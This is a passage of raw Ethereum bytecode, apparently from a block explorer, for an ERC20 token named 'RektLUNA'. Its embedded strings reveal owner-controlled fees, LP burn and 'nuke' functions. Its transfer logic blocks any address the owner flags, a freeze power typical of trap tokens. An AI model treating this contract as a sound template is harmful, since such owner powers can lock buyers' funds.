ffffffffffffffffffffffffffffffffffff16021790555050565b60286020528060005260406000206000915054906101000a900460ff1681565b601360019054906101000a900460ff1681565b611f7a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612000906135d3565b60405180910390fd5b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120a691906131d9565b60405180910390a25050565b6120ba612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612149576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612140906135d3565b60405180910390fd5b633b9aca006103e8600561215b610e6f565b6121659190613622565b61216f91906136ab565b61217991906136ab565b8110156121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b2906139c6565b60405180910390fd5b633b9aca00816121cb9190613622565b600c8190555050565b601760009054906101000a900460ff1681565b60185481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6000612284612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230a906135d3565b60405180910390fd5b6000601760006101000a81548160ff0219169083151502179055506001905090565b601a5481565b6000612345612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb906135d3565b60405180910390fd5b6001601360006101000a81548160ff0219169083151502179055506001905090565b601e5481565b6000612406612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248c906135d3565b60405180910390fd5b6011546012546124a59190613892565b42116124e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dd90613a32565b60405180910390fd5b6103e882111561252b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252290613ac4565b60405180910390fd5b4260128190555060008061255c61271061254e8685612f4790919063ffffffff16565b6126c990919063ffffffff16565b90506000811115612594577f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb60405160405180910390a15b600192505050919050565b6125a7612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262d906135d3565b60405180910390fd5b84601d8190555083601e8190555082601f819055508160208190555080602181905550601f54601e54601d5461266c9190613892565b6126769190613892565b601c819055506019601c5411156126c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b990613b30565b60405180910390fd5b5050505050565b600061270b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612fc2565b905092915050565b60008082846127229190613892565b905083811015612767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275e90613b9c565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e090613c2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285090613cc0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129379190613230565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ab90613d06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1b90613d06565b60405180910390fd5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612ac55750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b0e5760008114612b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0490613d06565b60405180910390fd5b5b612b19838383613025565b612b7b81604051806020016040528060008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cad9190613230565b60405180910390a3505050565b6000838311158290612d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf991906130c3565b60405180910390fd5b5060008385612d119190613d26565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8590613da6565b60405180910390fd5b612ddf816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e368160025461271390919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e9a9190613230565b60405180910390a35050565b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600080831415612f5a5760009050612fbc565b60008284612f689190613622565b9050828482612f7791906136ab565b14612fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fae90613e38565b60405180910390fd5b809150505b92915050565b60008083118290613009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300091906130c3565b60405180910390fd5b506000838561301891906136ab565b9050809150509392505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613064578082015181840152602081019050613049565b83811115613073576000848401525b50505050565b6000601f19601f8301169050919050565b60006130958261302a565b61309f8185613035565b93506130af818560208601613046565b6130b881613079565b840191505092915050565b600060208201905081810360008301526130dd818461308a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613115826130ea565b9050919050565b6131258161310a565b811461313057600080fd5b50565b6000813590506131428161311c565b92915050565b6000819050919050565b61315b81613148565b811461316657600080fd5b50565b60008135905061317881613152565b92915050565b60008060408385031215613195576131946130e5565b5b60006131a385828601613133565b92505060206131b485828601613169565b9150509250929050565b60008115159050919050565b6131d3816131be565b82525050565b60006020820190506131ee60008301846131ca565b92915050565b60006020828403121561320a576132096130e5565b5b600061321884828501613133565b91505092915050565b61322a81613148565b82525050565b60006020820190506132456000830184613221565b92915050565b600060208284031215613261576132606130e5565b5b600061326f84828501613169565b91505092915050565b600080600060608486031215613291576132906130e5565b5b600061329f86828701613133565b93505060206132b086828701613133565b92505060406132c186828701613169565b9150509250925092565b600060ff82169050919050565b6132e1816132cb565b82525050565b60006020820190506132fc60008301846132d8565b92915050565b61330b8161310a565b82525050565b60006020820190506133266000830184613302565b92915050565b613335816131be565b811461334057600080fd5b50565b6000813590506133528161332c565b92915050565b600080600060608486031215613371576133706130e5565b5b600061337f86828701613169565b935050602061339086828701613169565b92505060406133a186828701613343565b9150509250925092565b600080604083850312156133c2576133c16130e5565b5b60006133d085828601613133565b92505060206133e185828601613343565b9150509250929050565b600080600060608486031215613404576134036130e5565b5b600061341286828701613169565b935050602061342386828701613169565b925050604061343486828701613169565b9150509250925092565b600060208284031215613454576134536130e5565b5b600061346284828501613343565b91505092915050565b60008060408385031215613482576134816130e5565b5b600061349085828601613133565b92505060206134a185828601613133565b9150509250929050565b600080600080600060a086880312156134c7576134c66130e5565b5b60006134d588828901613169565b95505060206134e688828901613169565b94505060406134f788828901613169565b935050606061350888828901613169565b925050608061351988828901613169565b9150509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061356d57607f821691505b6020821081141561358157613580613526565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135bd602083613035565b91506135c882613587565b602082019050919050565b600060208201905081810360008301526135ec816135b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061362d82613148565b915061363883613148565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613671576136706135f3565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136b682613148565b91506136c183613148565b9250826136d1576136d061367c565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613738602f83613035565b9150613743826136dc565b604082019050919050565b600060208201905081810360008301526137678161372b565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b60006137ca603383613035565b91506137d58261376e565b604082019050919050565b600060208201905081810360008301526137f9816137bd565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061385c603083613035565b915061386782613800565b604082019050919050565b6000602082019050818103600083015261388b8161384f565b9050919050565b600061389d82613148565b91506138a883613148565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138dd576138dc6135f3565b5b828201905092915050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b600061391e601d83613035565b9150613929826138e8565b602082019050919050565b6000602082019050818103600083015261394d81613911565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b60006139b0602483613035565b91506139bb82613954565b604082019050919050565b600060208201905081810360008301526139df816139a3565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000613a1c602083613035565b9150613a27826139e6565b602082019050919050565b60006020820190508181036000830152613a4b81613a0f565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000613aae602a83613035565b9150613ab982613a52565b604082019050919050565b60006020820190508181036000830152613add81613aa1565b9050919050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000613b1a601d83613035565b9150613b2582613ae4565b602082019050919050565b60006020820190508181036000830152613b4981613b0d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b86601b83613035565b9150613b9182613b50565b602082019050919050565b60006020820190508181036000830152613bb581613b79565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c18602483613035565b9150613c2382613bbc565b604082019050919050565b60006020820190508181036000830152613c4781613c0b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613caa602283613035565b9150613cb582613c4e565b604082019050919050565b60006020820190508181036000830152613cd981613c9d565b9050919050565b50565b6000613cf0600083613035565b9150613cfb82613ce0565b600082019050919050565b60006020820190508181036000830152613d1f81613ce3565b9050919050565b6000613d3182613148565b9150613d3c83613148565b925082821015613d4f57613d4e6135f3565b5b828203905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613d90601f83613035565b9150613d9b82613d5a565b602082019050919050565b60006020820190508181036000830152613dbf81613d83565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e22602183613035565b9150613e2d82613dc6565b604082019050919050565b60006020820190508181036000830152613e5181613e15565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203a6e306eac86e3e79b9ba8b1d1df87ad4b62a015cb15d9a0a731aee0abd4a89864736f6c63430008090033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000006aaf7c8516d0c0000000000000000000000000000000000000000000000000000000000000000000852656b744c554e41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000852656b744c554e41000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061036f5760003560e01c80638095d564116101c6578063b62496f5116100f7578063e2f4560511610095578063f5ed24301161006f578063f5ed243014610ce3578063f637434214610d0e578063fe72b27a14610d39578063ff935af614610d7657610376565b8063e2f4560514610c62578063e884f26014610c8d578063f11a24d314610cb857610376565b8063c18bc195116100d1578063c18bc19514610ba6578063c876d0b914610bcf578063d85ba06314610bfa578063dd62ed3e14610c2557610376565b8063b62496f514610b15578063bbc0c74214610b52578063c024666814610b7d57610376565b8063a265777811610164578063a4c82a001161013e578063a4c82a0014610a59578063a4d15b6414610a84578063a9059cbb14610aaf578063aacebbe314610aec57610376565b8063a2657778146109ca578063a456f9a4146109f3578063a457c2d714610a1c57610376565b80639a7a23d6116101a05780639a7a23d6146109205780639c3b4fdc146109495780639ec22c0e14610974578063a0d82dc51461099f57610376565b80638095d564146108a157806392136913146108ca57806395d89b41146108f557610376565b80634a62bb65116102a05780636ddd17131161023e578063730c188811610218578063730c1888146107f9578063751039fc146108225780637571336a1461084d5780637bce5a041461087657610376565b80636ddd17131461076657806370a082311461079157806370d5ae05146107ce57610376565b8063541a43cf1161027a578063541a43cf146106be578063549f3295146106e95780636a486a8e146107125780636bd89cdd1461073d57610376565b80634a62bb651461062d5780634f807d26146106585780634fbee1931461068157610376565b806323b872dd1161030d5780632e82f1a0116102e75780632e82f1a01461055d578063313ce5671461058857806339509351146105b357806343b547ee146105f057610376565b806323b872dd146104ca5780632bf3d42d146105075780632c3e486c1461053257610376565b806318160ddd1161034957806318160ddd14610420578063184c16c51461044b578063199ffc7214610476578063203e727e146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d9f565b60405161039d91906130c3565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061317e565b610e31565b6040516103da91906131d9565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906131f4565b610e4f565b60405161041791906131d9565b60405180910390f35b34801561042c57600080fd5b50610435610e6f565b6040516104429190613230565b60405180910390f35b34801561045757600080fd5b50610460610e79565b60405161046d9190613230565b60405180910390f35b34801561048257600080fd5b5061048b610e7f565b6040516104989190613230565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c3919061324b565b610e85565b005b3480156104d657600080fd5b506104f160048036038101906104ec9190613278565b610fa7565b6040516104fe91906131d9565b60405180910390f35b34801561051357600080fd5b5061051c611080565b6040516105299190613230565b60405180910390f35b34801561053e57600080fd5b50610547611086565b6040516105549190613230565b60405180910390f35b34801561056957600080fd5b5061057261108c565b60405161057f91906131d9565b60405180910390f35b34801561059457600080fd5b5061059d61109f565b6040516105aa91906132e7565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d5919061317e565b6110b6565b6040516105e791906131d9565b60405180910390f35b3480156105fc57600080fd5b50610617600480360381019061061291906131f4565b611169565b60405161062491906131d9565b60405180910390f35b34801561063957600080fd5b506106426111bf565b60405161064f91906131d9565b60405180910390f35b34801561066457600080fd5b5061067f600480360381019061067a919061317e565b6111d2565b005b34801561068d57600080fd5b506106a860048036038101906106a391906131f4565b611277565b6040516106b591906131d9565b60405180910390f35b3480156106ca57600080fd5b506106d36112cd565b6040516106e09190613230565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b91906131f4565b6112d3565b005b34801561071e57600080fd5b5061072761147c565b6040516107349190613230565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f91906131f4565b611482565b005b34801561077257600080fd5b5061077b61155d565b60405161078891906131d9565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131f4565b611570565b6040516107c59190613230565b60405180910390f35b3480156107da57600080fd5b506107e36115b8565b6040516107f09190613311565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190613358565b6115de565b005b34801561082e57600080fd5b50610837611739565b60405161084491906131d9565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f91906133ab565b6117f4565b005b34801561088257600080fd5b5061088b6118e6565b6040516108989190613230565b60405180910390f35b3480156108ad57600080fd5b506108c860048036038101906108c391906133eb565b6118ec565b005b3480156108d657600080fd5b506108df611a06565b6040516108ec9190613230565b60405180910390f35b34801561090157600080fd5b5061090a611a0c565b60405161091791906130c3565b60405180910390f35b34801561092c57600080fd5b50610947600480360381019061094291906133ab565b611a9e565b005b34801561095557600080fd5b5061095e611b43565b60405161096b9190613230565b60405180910390f35b34801561098057600080fd5b50610989611b49565b6040516109969190613230565b60405180910390f35b3480156109ab57600080fd5b506109b4611b4f565b6040516109c19190613230565b60405180910390f35b3480156109d657600080fd5b506109f160048036038101906109ec919061343e565b611b55565b005b3480156109ff57600080fd5b50610a1a6004803603810190610a1591906131f4565b611c09565b005b348015610a2857600080fd5b50610a436004803603810190610a3e919061317e565b611ce4565b604051610a5091906131d9565b60405180910390f35b348015610a6557600080fd5b50610a6e611db1565b604051610a7b9190613230565b60405180910390f35b348015610a9057600080fd5b50610a99611db7565b604051610aa691906131d9565b60405180910390f35b348015610abb57600080fd5b50610ad66004803603810190610ad1919061317e565b611dca565b604051610ae391906131d9565b60405180910390f35b348015610af857600080fd5b50610b136004803603810190610b0e91906131f4565b611de8565b005b348015610b2157600080fd5b50610b3c6004803603810190610b3791906131f4565b611f3f565b604051610b4991906131d9565b60405180910390f35b348015610b5e57600080fd5b50610b67611f5f565b604051610b7491906131d9565b60405180910390f35b348015610b8957600080fd5b50610ba46004803603810190610b9f91906133ab565b611f72565b005b348015610bb257600080fd5b50610bcd6004803603810190610bc8919061324b565b6120b2565b005b348015610bdb57600080fd5b50610be46121d4565b604051610bf191906131d9565b60405180910390f35b348015610c0657600080fd5b50610c0f6121e7565b604051610c1c9190613230565b60405180910390f35b348015610c3157600080fd5b50610c4c6004803603810190610c47919061346b565b6121ed565b604051610c599190613230565b60405180910390f35b348015610c6e57600080fd5b50610c77612274565b604051610c849190613230565b60405180910390f35b348015610c9957600080fd5b50610ca261227a565b604051610caf91906131d9565b60405180910390f35b348015610cc457600080fd5b50610ccd612335565b604051610cda9190613230565b60405180910390f35b348015610cef57600080fd5b50610cf861233b565b604051610d0591906131d9565b60405180910390f35b348015610d1a57600080fd5b50610d236123f6565b604051610d309190613230565b60405180910390f35b348015610d4557600080fd5b50610d606004803603810190610d5b919061324b565b6123fc565b604051610d6d91906131d9565b60405180910390f35b348015610d8257600080fd5b50610d9d6004803603810190610d9891906134ab565b61259f565b005b606060038054610dae90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054610dda90613555565b8015610e275780601f10610dfc57610100808354040283529160200191610e27565b820191906000526020600020905b815481529060010190602001808311610e0a57829003601f168201915b5050505050905090565b6000610e45610e3e612771565b8484612779565b6001905092915050565b60276020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60115481565b600d5481565b610e8d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f13906135d3565b60405180910390fd5b633b9aca006103e86001610f2e610e6f565b610f389190613622565b610f4291906136ab565b610f4c91906136ab565b811015610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f859061374e565b60405180910390fd5b633b9aca0081610f9e9190613622565b600a8190555050565b6000610fb4848484612944565b61107584610fc0612771565b61107085604051806060016040528060288152602001613e5960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611026612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b600190509392505050565b60215481565b600f5481565b600e60009054906101000a900460ff1681565b6000600560009054906101000a900460ff16905090565b600061115f6110c3612771565b8461115a85600160006110d4612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b612779565b6001905092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601360009054906101000a900460ff1681565b6111da612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611269576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611260906135d3565b60405180910390fd5b6112738282612d1e565b5050565b6000602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60205481565b6112db612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461136a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611361906135d3565b60405180910390fd5b60001515601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611420576001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611479565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601c5481565b61148a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611519576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611510906135d3565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115e6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906135d3565b60405180910390fd5b6102588310156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906137e0565b60405180910390fd5b6103e882111580156116cd575060008210155b61170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613872565b60405180910390fd5b82600f8190555081600d8190555080600e60006101000a81548160ff021916908315150217905550505050565b6000611743612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c9906135d3565b60405180910390fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b6117fc612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611882906135d3565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b6118f4612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a906135d3565b60405180910390fd5b8260198190555081601a8190555080601b81905550601b54601a546019546119ab9190613892565b6119b59190613892565b60188190555060146018541115611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f890613934565b60405180910390fd5b505050565b601d5481565b606060048054611a1b90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054611a4790613555565b8015611a945780601f10611a6957610100808354040283529160200191611a94565b820191906000526020600020905b815481529060010190602001808311611a7757829003601f168201915b5050505050905090565b611aa6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c906135d3565b60405180910390fd5b611b3f8282612ea6565b5050565b601b5481565b60125481565b601f5481565b611b5d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906135d3565b60405180910390fd5b80601360036101000a81548160ff02191690831515021790555050565b611c11612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c97906135d3565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611da7611cf1612771565b84611da285604051806060016040528060258152602001613e816025913960016000611d1b612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b6001905092915050565b60105481565b601360039054906101000a900460ff1681565b6000611dde611dd7612771565b8484612944565b6001905092915050565b611df0612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e76906135d3565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60286020528060005260406000206000915054906101000a900460ff1681565b601360019054906101000a900460ff1681565b611f7a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612000906135d3565b60405180910390fd5b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120a691906131d9565b60405180910390a25050565b6120ba612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1